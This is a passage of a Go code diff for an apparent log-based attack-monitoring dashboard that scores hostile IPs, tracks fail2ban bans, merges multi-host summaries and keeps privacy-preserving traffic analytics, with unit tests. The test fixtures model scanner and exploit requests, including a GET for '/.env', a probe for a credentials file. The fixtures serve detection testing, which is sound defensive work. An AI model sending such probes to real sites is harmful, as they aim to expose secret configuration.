||||
}
|
||||
}
|
||||
|
||||
func (s *Store) broadcast(e FeedEvent) {
|
||||
s.smu.Lock()
|
||||
for ch := range s.subs {
|
||||
select {
|
||||
case ch <- e:
|
||||
default: // slow client: drop
|
||||
}
|
||||
}
|
||||
s.smu.Unlock()
|
||||
}
|
||||
|
||||
// Recent returns the newest n feed events, newest first.
|
||||
func (s *Store) Recent(n int) []FeedEvent {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
total := len(s.recent)
|
||||
out := make([]FeedEvent, 0, n)
|
||||
for i := 0; i < total && len(out) < n; i++ {
|
||||
idx := (s.rhead - 1 - i) % total
|
||||
if idx < 0 {
|
||||
idx += total
|
||||
}
|
||||
out = append(out, s.recent[idx])
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (s *Store) invalidate() {
|
||||
s.cacheMu.Lock()
|
||||
s.cache = map[string]cachedSummary{}
|
||||
s.cacheMu.Unlock()
|
||||
}
|
||||
|
||||
func containsFold(h, n string) bool { return strings.Contains(strings.ToLower(h), strings.ToLower(n)) }
|
||||
|
||||
// RDNSOf returns the cached reverse name of ip and queues a lookup.
|
||||
func (s *Store) RDNSOf(ip string) string {
|
||||
if s.rdns == nil {
|
||||
return ""
|
||||
}
|
||||
return s.rdns.Lookup(ip)
|
||||
}
|
||||
|
||||
// Monitoring counts a benign request from a monitoring client. It is kept
|
||||
// apart from every attack aggregate and never scores an IP.
|
||||
func (s *Store) Monitoring(t time.Time) {
|
||||
now := s.now()
|
||||
if t.Before(now.Add(-s.cfg.Retention)) {
|
||||
return
|
||||
}
|
||||
ts := t.Unix()
|
||||
if max := now.Unix() + 300; ts > max {
|
||||
ts = max
|
||||
}
|
||||
m := ts / 60
|
||||
i := int(m % slots)
|
||||
s.mu.Lock()
|
||||
if s.monSt[i] != m {
|
||||
s.monSt[i], s.monN[i] = m, 0
|
||||
}
|
||||
s.monN[i]++
|
||||
s.mu.Unlock()
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
var t0 = time.Date(2026, 11, 14, 12, 0, 0, 0, time.UTC)
|
||||
|
||||
func newStore(name string, max int) *Store {
|
||||
s := New(Config{Name: name, Version: "t", MaxIPs: max})
|
||||
s.now = func() time.Time { return t0 }
|
||||
return s
|
||||
}
|
||||
|
||||
func ev(ip string, cat core.Category, ago time.Duration) core.Event {
|
||||
return core.Event{Time: t0.Add(-ago), IP: ip, Cat: cat, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/.env", UA: "curl/8"}
|
||||
}
|
||||
|
||||
func TestScoringTimelineAndTops(t *testing.T) {
|
||||
s := newStore("oracle", 100)
|
||||
for i := 0; i < 6; i++ {
|
||||
s.Ingest(ev("1.1.1.1", core.Exploit, time.Duration(i)*time.Minute)) // 48
|
||||
}
|
||||
s.Ingest(ev("1.1.1.1", core.Scanner, 30*time.Minute)) // +3 = 51
|
||||
s.Ingest(ev("2.2.2.2", core.Scanner, 2*time.Hour))
|
||||
s.Ingest(ev("3.3.3.3", core.OK, time.Minute))
|
||||
s.Ingest(ev("4.4.4.4", core.NotFound, time.Minute))
|
||||
sum := s.Summary("1h")
|
||||
if sum.Totals.Requests != 9 || sum.Totals.Malicious != 7 {
|
||||
t.Fatalf("1h totals %+v", sum.Totals)
|
||||
}
|
||||
if sum.Totals.HostileIPs != 1 || sum.IPs[0].IP != "1.1.1.1" || sum.IPs[0].Score != 51 || sum.IPs[0].Level != core.LevelHostile {
|
||||
t.Fatalf("ips %+v", sum.IPs[0])
|
||||
}
|
||||
if len(sum.Timeline.Series["exploit"]) != 60 {
|
||||
t.Fatal("grid")
|
||||
}
|
||||
var ex uint32
|
||||
for _, v := range sum.Timeline.Series["exploit"] {
|
||||
ex += v
|
||||
}
|
||||
if ex != 6 {
|
||||
t.Fatalf("exploit series %d", ex)
|
||||
}
|
||||
s24 := s.Summary("24h")
|
||||
if s24.Totals.Counts["scanner"] != 2 {
|
||||
t.Fatalf("24h scanner %d", s24.Totals.Counts["scanner"])
|
||||
}
|
||||
if len(s24.TopPaths) != 1 || s24.TopPaths[0].Key != "/.env" || s24.TopDomains[0].Key != "a.example" || s24.TopUAs[0].Key != "curl/8" {
|
||||
t.Fatalf("tops %+v", s24.TopPaths)
|
||||
}
|
||||
if _, ok := s.IP("3.3.3.3"); ok {
|
||||
t.Fatal("ok-only visitors must not enter the table")
|
||||
}
|
||||
old := ev("9.9.9.9", core.Exploit, 8*24*time.Hour)
|
||||
s.Ingest(old)
|
||||
if _, ok := s.IP("4.4.4.4"); ok {
|
||||
t.Fatal("a 404 alone must not create an IP record")
|
||||
}
|
||||
if s.IPCount() != 2 {
|
||||
t.Fatal("events beyond retention must be dropped")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBansAndFeed(t *testing.T) {
|
||||
s := newStore("oracle", 100)
|
||||
b := core.Event{Time: t0.Add(-time.Minute), IP: "5.5.5.5", Cat: core.Ban, Source: "fail2ban", Jail: "sshd"}
|
||||
s.Ingest(b)
|
||||
b.Jail = "recidive"
|
||||
s.Ingest(b)
|
||||
if sum := s.Summary("24h"); sum.Totals.ActiveBans != 1 || !sum.IPs[0].Banned || len(sum.IPs[0].Jails) != 2 {
|
||||
t.Fatalf("%+v", sum.Totals)
|
||||
}
|
||||
s.cache = map[string]cachedSummary{}
|
||||
b.Unban, b.Jail = true, "sshd"
|
||||
s.Ingest(b)
|
||||
r, _ := s.IP("5.5.5.5")
|
||||
if len(r.Jails) != 1 || r.Jails[0] != "recidive" || r.Score != 20 {
|
||||
t.Fatalf("%+v", r)
|
||||
}
|
||||
if rec := s.Recent(10); len(rec) != 3 || !rec[0].Unban {
|
||||
t.Fatalf("feed %+v", rec)
|
||||
}
|
||||
ch, stop := s.Subscribe()
|
||||
defer stop()
|
||||
s.Ingest(ev("6.6.6.6", core.Exploit, 0))
|
||||
select {
|
||||
case e := <-ch:
|
||||
if e.IP != "6.6.6.6" {
|
||||
t.Fatal(e)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("no sse event")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCapsAreHard(t *testing.T) {
|
||||
s := newStore("x", 1000)
|
||||
for i := 0; i < 5000; i++ {
|
||||
e := ev(fmt.Sprintf("10.%d.%d.1", i/250, i%250), core.Scanner, time.Minute)
|
||||
s.Ingest(e)
|
||||
}
|
||||
s.Ingest(core.Event{Time: t0, IP: "7.7.7.7", Cat: core.Ban, Source: "fail2ban", Jail: "sshd"})
|
||||
for i := 0; i < 3000; i++ {
|
||||
e := ev(fmt.Sprintf("11.%d.%d.1", i/250, i%250), core.Scanner, time.Minute)
|
||||
e.Path = fmt.Sprintf("/p%d", i)
|
||||
s.Ingest(e)
|
||||
}
|
||||
if n := s.IPCount(); n > 1000 {
|
||||
t.Fatalf("ip table %d exceeds cap", n)
|
||||
}
|
||||
if _, ok := s.IP("7.7.7.7"); !ok {
|
||||
t.Fatal("banned IP evicted")
|
||||
}
|
||||
h := s.hours[int((t0.Unix()-60)/3600%hourSlots)]
|
||||
if len(h.Paths) > topCap {
|
||||
t.Fatalf("top paths %d", len(h.Paths))
|
||||
}
|
||||
}
|
||||
|
||||
func TestMerge(t *testing.T) {
|
||||
a, b := newStore("oracle", 100), newStore("hostinger", 100)
|
||||
a.Ingest(ev("1.1.1.1", core.Exploit, time.Minute))
|
||||
b.Ingest(ev("1.1.1.1", core.Scanner, 5*time.Minute))
|
||||
b.Ingest(ev("2.2.2.2", core.Exploit, 5*time.Minute))
|
||||
b.now = func() time.Time { return t0.Add(20 * time.Second) } // clock skew
|
||||
m := Merge("all", []Summary{a.Summary("1h"), b.Summary("1h")})
|
||||
if m.Totals.Malicious != 3 || len(m.Hosts) != 2 || m.Totals.UniqueIPs != 2 {
|
||||
t.Fatalf("%+v", m.Totals)
|
||||
}
|
||||
top := m.IPs[0]
|
||||
if top.IP != "1.1.1.1" || top.Score != 11 || len(top.Hosts) != 2 || top.Counts["exploit"] != 1 || top.Counts["scanner"] != 1 {
|
||||
t.Fatalf("%+v", top)
|
||||
}
|
||||
var ex uint32
|
||||
for _, v := range m.Timeline.Series["exploit"] {
|
||||
ex += v
|
||||
}
|
||||
if ex != 2 {
|
||||
t.Fatalf("merged timeline %d", ex)
|
||||
}
|
||||
if m.TopPaths[0].N != 3 {
|
||||
t.Fatalf("%+v", m.TopPaths)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSnapshotRoundTrip(t *testing.T) {
|
||||
s := newStore("oracle", 100)
|
||||
s.Ingest(ev("1.1.1.1", core.Exploit, time.Minute))
|
||||
p := filepath.Join(t.TempDir(), "state.gob")
|
||||
if err := s.Save(p, map[string]Offset{"traefik": {Inode: 7, Offset: 99}}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
s2 := newStore("oracle", 100)
|
||||
off, err := s2.Load(p)
|
||||
if err != nil || off["traefik"].Offset != 99 {
|
||||
t.Fatalf("%v %v", off, err)
|
||||
}
|
||||
if r, ok := s2.IP("1.1.1.1"); !ok || r.Score != 8 || s2.Summary("1h").Totals.Malicious != 1 {
|
||||
t.Fatal("state lost")
|
||||
}
|
||||
if off, err := newStore("x", 1).Load(filepath.Join(t.TempDir(), "none")); err != nil || len(off) != 0 {
|
||||
t.Fatal("missing snapshot must be a fresh start")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,425 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
// Range describes a dashboard time window.
|
||||
type Range struct {
|
||||
Name string
|
||||
Dur time.Duration
|
||||
Step int64 // timeline bucket size in seconds
|
||||
}
|
||||
|
||||
// Ranges are the supported windows.
|
||||
var Ranges = map[string]Range{
|
||||
"1h": {"1h", time.Hour, 60},
|
||||
"24h": {"24h", 24 * time.Hour, 900},
|
||||
"7d": {"7d", 7 * 24 * time.Hour, 3600},
|
||||
}
|
||||
|
||||
// ParseRange returns the named range, defaulting to 24h.
|
||||
func ParseRange(name string) Range {
|
||||
if r, ok := Ranges[name]; ok {
|
||||
return r
|
||||
}
|
||||
return Ranges["24h"]
|
||||
}
|
||||
|
||||
// Count is one top-list row.
|
||||
type Count struct {
|
||||
Key string `json:"key"`
|
||||
N uint32 `json:"n"`
|
||||
Label string `json:"label,omitempty"`
|
||||
}
|
||||
|
||||
// Timeline holds per-category counters on a fixed grid.
|
||||
type Timeline struct {
|
||||
Start int64 `json:"start"`
|
||||
Step int64 `json:"step"`
|
||||
Cats []string `json:"cats"`
|
||||
Series map[string][]uint32 `json:"series"`
|
||||
}
|
||||
|
||||
// Totals are the headline numbers.
|
||||
type Totals struct {
|
||||
Requests uint64 `json:"requests"`
|
||||
Malicious uint64 `json:"malicious"`
|
||||
HostileIPs int `json:"hostile_ips"`
|
||||
SuspiciousIPs int `json:"suspicious_ips"`
|
||||
UniqueIPs int `json:"unique_ips"`
|
||||
ActiveBans int `json:"active_bans"`
|
||||
Monitoring uint64 `json:"monitoring"`
|
||||
Counts map[string]uint64 `json:"counts"`
|
||||
}
|
||||
|
||||
// IPSummary describes one IP. Samples, UAs and Domains are only filled in the
|
||||
// detail view and in federation exchanges.
|
||||
type IPSummary struct {
|
||||
IP string `json:"ip"`
|
||||
Score float64 `json:"score"`
|
||||
Level core.Level `json:"level"`
|
||||
Counts map[string]uint32 `json:"counts"`
|
||||
Hosts []string `json:"hosts"`
|
||||
Domains []string `json:"domains,omitempty"`
|
||||
Samples []string `json:"samples,omitempty"`
|
||||
UAs []string `json:"uas,omitempty"`
|
||||
First int64 `json:"first"`
|
||||
Last int64 `json:"last"`
|
||||
Banned bool `json:"banned"`
|
||||
Jails []string `json:"jails,omitempty"`
|
||||
RDNS string `json:"rdns,omitempty"`
|
||||
Strong bool `json:"strong,omitempty"`
|
||||
Admin bool `json:"admin,omitempty"`
|
||||
CC string `json:"cc,omitempty"`
|
||||
Country string `json:"country,omitempty"`
|
||||
City string `json:"city,omitempty"`
|
||||
ASN uint32 `json:"asn,omitempty"`
|
||||
ASOrg string `json:"as_org,omitempty"`
|
||||
UALabels []string `json:"ua_labels,omitempty"`
|
||||
}
|
||||
|
||||
// SourceStatus reports one log source.
|
||||
type SourceStatus struct {
|
||||
Host string `json:"host,omitempty"`
|
||||
Name string `json:"name"`
|
||||
Path string `json:"path"`
|
||||
State string `json:"state"` // following, waiting, backfill, error, disabled
|
||||
Lines uint64 `json:"lines"`
|
||||
Malformed uint64 `json:"malformed"`
|
||||
LastEvent int64 `json:"last_event"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// HostInfo is the per-instance card.
|
||||
type HostInfo struct {
|
||||
Name string `json:"name"`
|
||||
Self bool `json:"self"`
|
||||
Online bool `json:"online"`
|
||||
Version string `json:"version,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
LastSeen int64 `json:"last_seen"`
|
||||
Requests uint64 `json:"requests"`
|
||||
Malicious uint64 `json:"malicious"`
|
||||
HostileIPs int `json:"hostile_ips"`
|
||||
ActiveBans int `json:"active_bans"`
|
||||
LatencyMS int64 `json:"latency_ms,omitempty"`
|
||||
}
|
||||
|
||||
// Summary is the mergeable dashboard payload.
|
||||
type Summary struct {
|
||||
Version string `json:"version"`
|
||||
Host string `json:"host"`
|
||||
Range string `json:"range"`
|
||||
Generated int64 `json:"generated"`
|
||||
Hosts []HostInfo `json:"hosts"`
|
||||
Totals Totals `json:"totals"`
|
||||
Timeline Timeline `json:"timeline"`
|
||||
IPs []IPSummary `json:"ips"`
|
||||
TopPaths []Count `json:"top_paths"`
|
||||
TopDomains []Count `json:"top_domains"`
|
||||
TopUAs []Count `json:"top_uas"`
|
||||
TopUsers []Count `json:"top_users"`
|
||||
Countries []Count `json:"countries"`
|
||||
Recent []FeedEvent `json:"recent"`
|
||||
Sources []SourceStatus `json:"sources"`
|
||||
Attribution string `json:"attribution,omitempty"`
|
||||
}
|
||||
|
||||
const (
|
||||
summaryIPs = 500
|
||||
topKeep = 50
|
||||
)
|
||||
|
||||
func catStrings() []string {
|
||||
out := make([]string, len(core.Categories))
|
||||
for i, c := range core.Categories {
|
||||
out[i] = string(c)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func attackKinds(c [core.NumCats]uint32) int {
|
||||
n := 0
|
||||
for _, cat := range []core.Category{core.Scanner, core.Exploit, core.BruteForce, core.SSHFail, core.SSHProbe} {
|
||||
if c[cat.Index()] > 0 {
|
||||
n++
|
||||
}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// rowOf builds the output row of one table entry.
|
||||
func (s *Store) rowOf(ip string, r *IPRec, detail bool) IPSummary {
|
||||
cm := make(map[string]uint32, 4)
|
||||
for i, n := range r.Counts {
|
||||
if n > 0 {
|
||||
cm[string(core.Categories[i])] = n
|
||||
}
|
||||
}
|
||||
strong := r.Strong || attackKinds(r.Counts) >= 2
|
||||
admin := r.adminAt(s.now().Unix())
|
||||
out := IPSummary{IP: ip, Score: round1(r.Score), Level: core.LevelOf(r.Score, strong, admin), Counts: cm, Hosts: []string{s.cfg.Name},
|
||||
First: r.First, Last: r.Last, Banned: len(r.Jails) > 0, Strong: strong, Admin: admin}
|
||||
if len(r.Jails) > 0 {
|
||||
out.Jails = append([]string(nil), r.Jails...)
|
||||
}
|
||||
if detail {
|
||||
out.Domains = append([]string(nil), r.Domains...)
|
||||
out.Samples = append([]string(nil), r.Samples...)
|
||||
out.UAs = append([]string(nil), r.UAs...)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func round1(f float64) float64 { return float64(int64(f*10+0.5)) / 10 }
|
||||
|
||||
// AllIPs returns every IP seen inside the range, highest score first.
|
||||
func (s *Store) AllIPs(rg Range, detail bool) []IPSummary {
|
||||
cut := s.now().Add(-rg.Dur).Unix()
|
||||
s.mu.RLock()
|
||||
out := make([]IPSummary, 0, len(s.ips))
|
||||
for ip, r := range s.ips {
|
||||
if r.Last >= cut {
|
||||
out = append(out, s.rowOf(ip, r, detail))
|
||||
}
|
||||
}
|
||||
s.mu.RUnlock()
|
||||
SortIPs(out, "score", true)
|
||||
return out
|
||||
}
|
||||
|
||||
// SortIPs orders in place by key (score, last, first, events, ip).
|
||||
func SortIPs(l []IPSummary, key string, desc bool) {
|
||||
ev := func(x IPSummary) uint32 {
|
||||
var n uint32
|
||||
for _, v := range x.Counts {
|
||||
n += v
|
||||
}
|
||||
return n
|
||||
}
|
||||
less := func(a, b IPSummary) bool {
|
||||
switch key {
|
||||
case "last":
|
||||
return a.Last < b.Last
|
||||
case "first":
|
||||
return a.First < b.First
|
||||
case "events":
|
||||
return ev(a) < ev(b)
|
||||
case "ip":
|
||||
return a.IP < b.IP
|
||||
}
|
||||
if a.Score != b.Score {
|
||||
return a.Score < b.Score
|
||||
}
|
||||
return a.Last < b.Last
|
||||
}
|
||||
sort.SliceStable(l, func(i, j int) bool {
|
||||
if desc {
|
||||
return less(l[j], l[i])
|
||||
}
|
||||
return less(l[i], l[j])
|
||||
})
|
||||
}
|
||||
|
||||
// IP returns the detail of one address.
|
||||
func (s *Store) IP(ip string) (IPSummary, bool) {
|
||||
ip = KeyOf(ip)
|
||||
s.mu.RLock()
|
||||
r := s.ips[ip]
|
||||
var out IPSummary
|
||||
if r != nil {
|
||||
out = s.rowOf(ip, r, true)
|
||||
}
|
||||
s.mu.RUnlock()
|
||||
if r == nil {
|
||||
return IPSummary{}, false
|
||||
}
|
||||
if s.rdns != nil {
|
||||
out.RDNS = s.rdns.Lookup(ip)
|
||||
}
|
||||
s.Enrich(&out)
|
||||
for _, ua := range out.UAs {
|
||||
if l := s.UALabel(ua); l != "" {
|
||||
out.UALabels = append(out.UALabels, l)
|
||||
}
|
||||
}
|
||||
return out, true
|
||||
}
|
||||
|
||||
func topN(m map[string]uint32, n int) []Count {
|
||||
out := make([]Count, 0, len(m))
|
||||
for k, v := range m {
|
||||
out = append(out, Count{Key: k, N: v})
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool {
|
||||
if out[i].N != out[j].N {
|
||||
return out[i].N > out[j].N
|
||||
}
|
||||
return out[i].Key < out[j].Key
|
||||
})
|
||||
if len(out) > n {
|
||||
out = out[:n]
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Summary builds the local summary for a range (cached for two seconds).
|
||||
func (s *Store) Summary(rangeName string) Summary {
|
||||
rg := ParseRange(rangeName)
|
||||
s.cacheMu.Lock()
|
||||
if c, ok := s.cache[rg.Name]; ok && time.Since(c.at) < 2*time.Second {
|
||||
s.cacheMu.Unlock()
|
||||
return c.s
|
||||
}
|
||||
s.cacheMu.Unlock()
|
||||
sum := s.buildSummary(rg)
|
||||
s.cacheMu.Lock()
|
||||
s.cache[rg.Name] = cachedSummary{time.Now(), sum}
|
||||
s.cacheMu.Unlock()
|
||||
return sum
|
||||
}
|
||||
|
||||
func (s *Store) buildSummary(rg Range) Summary {
|
||||
now := s.now()
|
||||
nowU := now.Unix()
|
||||
cats := catStrings()
|
||||
nb := int(rg.Dur.Seconds()) / int(rg.Step)
|
||||
endB := nowU / rg.Step
|
||||
start := (endB - int64(nb) + 1) * rg.Step
|
||||
tl := Timeline{Start: start, Step: rg.Step, Cats: cats, Series: make(map[string][]uint32, len(cats))}
|
||||
for _, c := range cats {
|
||||
tl.Series[c] = make([]uint32, nb)
|
||||
}
|
||||
tot := Totals{Counts: map[string]uint64{}}
|
||||
|
||||
s.mu.RLock()
|
||||
startMin := start / 60
|
||||
for m := startMin; m <= nowU/60; m++ {
|
||||
i := int(m % slots)
|
||||
if s.stamps[i] != m {
|
||||
continue
|
||||
}
|
||||
b := int((m*60 - start) / rg.Step)
|
||||
if b < 0 || b >= nb {
|
||||
continue
|
||||
}
|
||||
for ci, n := range s.counts[i] {
|
||||
if n == 0 {
|
||||
continue
|
||||
}
|
||||
tl.Series[cats[ci]][b] += n
|
||||
tot.Counts[cats[ci]] += uint64(n)
|
||||
c := core.Categories[ci]
|
||||
if c.IsHTTP() {
|
||||
tot.Requests += uint64(n)
|
||||
}
|
||||
if c.IsMalicious() {
|
||||
tot.Malicious += uint64(n)
|
||||
}
|
||||
}
|
||||
}
|
||||
for m := startMin; m <= nowU/60; m++ {
|
||||
if i := int(m % slots); s.monSt[i] == m {
|
||||
tot.Monitoring += uint64(s.monN[i])
|
||||
}
|
||||
}
|
||||
paths, doms, uas, users, ctry := map[string]uint32{}, map[string]uint32{}, map[string]uint32{}, map[string]uint32{}, map[string]uint32{}
|
||||
firstHour := (nowU - int64(rg.Dur.Seconds())) / 3600
|
||||
for i := range s.hours {
|
||||
h := &s.hours[i]
|
||||
if h.Hour == 0 || h.Hour < firstHour || h.Hour > nowU/3600+1 {
|
||||
continue
|
||||
}
|
||||
for _, p := range [...]struct {
|
||||
from map[string]uint32
|
||||
to map[string]uint32
|
||||
}{{h.Paths, paths}, {h.Domains, doms}, {h.UAs, uas}, {h.Users, users}, {h.Countries, ctry}} {
|
||||
for k, v := range p.from {
|
||||
p.to[k] += v
|
||||
}
|
||||
}
|
||||
}
|
||||
cut := nowU - int64(rg.Dur.Seconds())
|
||||
ips := make([]IPSummary, 0, 1024)
|
||||
for ip, r := range s.ips {
|
||||
if len(r.Jails) > 0 {
|
||||
tot.ActiveBans++
|
||||
}
|
||||
if r.Last < cut {
|
||||
continue
|
||||
}
|
||||
tot.UniqueIPs++
|
||||
row := s.rowOf(ip, r, true)
|
||||
switch row.Level {
|
||||
case core.LevelHostile:
|
||||
tot.HostileIPs++
|
||||
case core.LevelSuspicious:
|
||||
tot.SuspiciousIPs++
|
||||
}
|
||||
if r.Score >= 1 || len(r.Jails) > 0 {
|
||||
ips = append(ips, row)
|
||||
}
|
||||
}
|
||||
recent := s.recentLocked(60)
|
||||
s.mu.RUnlock()
|
||||
|
||||
SortIPs(ips, "score", true)
|
||||
if len(ips) > summaryIPs {
|
||||
ips = ips[:summaryIPs]
|
||||
}
|
||||
if s.enr != nil {
|
||||
for i := range ips {
|
||||
s.Enrich(&ips[i])
|
||||
for _, ua := range ips[i].UAs {
|
||||
if l := s.UALabel(ua); l != "" {
|
||||
ips[i].UALabels = append(ips[i].UALabels, l)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
topUAs := topN(uas, topKeep)
|
||||
for i := range topUAs {
|
||||
topUAs[i].Label = s.UALabel(topUAs[i].Key)
|
||||
}
|
||||
if s.rdns != nil {
|
||||
for i := range ips {
|
||||
if i >= 25 {
|
||||
break
|
||||
}
|
||||
ips[i].RDNS = s.rdns.Lookup(ips[i].IP)
|
||||
}
|
||||
}
|
||||
var srcs []SourceStatus
|
||||
if s.sources != nil {
|
||||
srcs = s.sources()
|
||||
for i := range srcs {
|
||||
srcs[i].Host = s.cfg.Name
|
||||
srcs[i].Path = "" // never leak host paths to the dashboard or to peers
|
||||
}
|
||||
}
|
||||
return Summary{
|
||||
Version: s.cfg.Version, Host: s.cfg.Name, Range: rg.Name, Generated: nowU,
|
||||
Hosts: []HostInfo{{Name: s.cfg.Name, Self: true, Online: true, Version: s.cfg.Version, LastSeen: nowU,
|
||||
Requests: tot.Requests, Malicious: tot.Malicious, HostileIPs: tot.HostileIPs, ActiveBans: tot.ActiveBans}},
|
||||
Totals: tot, Timeline: tl, IPs: ips,
|
||||
TopPaths: topN(paths, topKeep), TopDomains: topN(doms, topKeep), TopUAs: topUAs, TopUsers: topN(users, topKeep), Countries: topN(ctry, 120),
|
||||
Recent: recent, Sources: srcs, Attribution: s.attrib,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Store) recentLocked(n int) []FeedEvent {
|
||||
total := len(s.recent)
|
||||
out := make([]FeedEvent, 0, n)
|
||||
for i := 0; i < total && len(out) < n; i++ {
|
||||
idx := (s.rhead - 1 - i) % total
|
||||
if idx < 0 {
|
||||
idx += total
|
||||
}
|
||||
out = append(out, s.recent[idx])
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,554 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
// Privacy: legitimate visitors are never stored. A visitor is the 64-bit
|
||||
// prefix of SHA-256(salt | ip | user-agent | domain) kept in memory only while
|
||||
// its UTC day lasts; the salt is random per process and per day, so hashes
|
||||
// cannot be linked across days, and nothing here reaches a snapshot or the API.
|
||||
|
||||
const (
|
||||
anMinutes = 24 * 60
|
||||
maxDomains = 24
|
||||
visCap = 20000
|
||||
anTop = 40
|
||||
latN = 12
|
||||
otherDom = "(other)"
|
||||
)
|
||||
|
||||
var latBounds = [latN - 1]float64{5, 10, 25, 50, 100, 250, 500, 1000, 2500, 5000, 10000}
|
||||
|
||||
type anHour struct {
|
||||
Hour int64
|
||||
Req, Pages, Bots uint32
|
||||
Bytes uint64
|
||||
S [4]uint32 // 2xx 3xx 4xx 5xx
|
||||
Lat [latN]uint32
|
||||
}
|
||||
|
||||
type anDay struct {
|
||||
Day int64
|
||||
Visitors uint32
|
||||
Pages, Refs, Countries, Cities, Browsers, OSes, Devices, Bots map[string]uint32
|
||||
}
|
||||
|
||||
type domData struct {
|
||||
MinSt [anMinutes]int64
|
||||
MinReq [anMinutes]uint32
|
||||
MinPages [anMinutes]uint32
|
||||
Hours [hourSlots]anHour
|
||||
Days [8]anDay
|
||||
Last int64 // unix time of the last request, for pruning idle domains
|
||||
// in memory only, never in a snapshot (unexported fields are skipped by gob)
|
||||
vis map[uint64]struct{}
|
||||
visDay int64
|
||||
}
|
||||
|
||||
type trafficState struct {
|
||||
dom map[string]*domData
|
||||
salt [16]byte
|
||||
saltDay int64
|
||||
}
|
||||
|
||||
var assetExt = map[string]bool{
|
||||
"js": true, "mjs": true, "css": true, "png": true, "jpg": true, "jpeg": true, "gif": true, "svg": true, "ico": true,
|
||||
"webp": true, "avif": true, "woff": true, "woff2": true, "ttf": true, "otf": true, "eot": true, "map": true,
|
||||
"json": true, "xml": true, "txt": true, "mp4": true, "webm": true, "mp3": true, "ogg": true, "pdf": true,
|
||||
"zip": true, "gz": true, "wasm": true, "bmp": true, "webmanifest": true, "rss": true, "atom": true,
|
||||
}
|
||||
|
||||
func isPageView(ev core.Event) bool {
|
||||
if ev.Method != "GET" || ev.Status < 200 || ev.Status > 299 {
|
||||
return false
|
||||
}
|
||||
p := ev.Path
|
||||
if i := strings.IndexAny(p, "?#"); i >= 0 {
|
||||
p = p[:i]
|
||||
}
|
||||
if i := strings.LastIndexByte(p, '.'); i >= 0 && i > strings.LastIndexByte(p, '/') {
|
||||
return !assetExt[strings.ToLower(p[i+1:])]
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func normDomain(d string) string {
|
||||
d = strings.ToLower(strings.TrimSpace(d))
|
||||
if i := strings.LastIndexByte(d, ':'); i > 0 && !strings.Contains(d[i:], "]") {
|
||||
d = d[:i]
|
||||
}
|
||||
if d == "" {
|
||||
return "-"
|
||||
}
|
||||
return d
|
||||
}
|
||||
|
||||
func refHost(ref, domain string) string {
|
||||
if ref == "" || ref == "-" {
|
||||
return ""
|
||||
}
|
||||
u, err := url.Parse(ref)
|
||||
if err != nil || u.Host == "" {
|
||||
return ""
|
||||
}
|
||||
h := strings.TrimPrefix(strings.ToLower(u.Hostname()), "www.")
|
||||
if h == "" || h == domain || h == strings.TrimPrefix(domain, "www.") || strings.HasSuffix(h, "."+strings.TrimPrefix(domain, "www.")) {
|
||||
return ""
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
func latBucket(ns int64) int {
|
||||
ms := float64(ns) / 1e6
|
||||
for i, b := range latBounds {
|
||||
if ms <= b {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return latN - 1
|
||||
}
|
||||
|
||||
// SetDomains restricts the analytics to these domains (exact names, or
|
||||
// "*.example.com" for a whole subtree). Empty means: any domain that has
|
||||
// answered a request successfully.
|
||||
func (s *Store) SetDomains(list []string) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.allow = nil
|
||||
for _, d := range list {
|
||||
if d = strings.ToLower(strings.TrimSpace(d)); d != "" {
|
||||
s.allow = append(s.allow, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Store) domainAllowed(name string) bool {
|
||||
if len(s.allow) == 0 {
|
||||
return true
|
||||
}
|
||||
for _, a := range s.allow {
|
||||
if a == name || strings.HasPrefix(a, "*.") && strings.HasSuffix(name, a[1:]) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// domLocked returns the slot of a domain. A new slot is only opened for a
|
||||
// domain that has served a 2xx: Host headers sent by scanners (random names
|
||||
// answered with 404, or with the catch-all http->https 301) cannot take slots
|
||||
// from real sites.
|
||||
func (s *Store) domLocked(name string, status int) *domData {
|
||||
if s.tr.dom == nil {
|
||||
s.tr.dom = map[string]*domData{}
|
||||
}
|
||||
if d := s.tr.dom[name]; d != nil {
|
||||
return d
|
||||
}
|
||||
if status < 200 || status > 299 || !s.domainAllowed(name) {
|
||||
return nil
|
||||
}
|
||||
if len(s.tr.dom) >= maxDomains {
|
||||
name = otherDom
|
||||
if d := s.tr.dom[name]; d != nil {
|
||||
return d
|
||||
}
|
||||
}
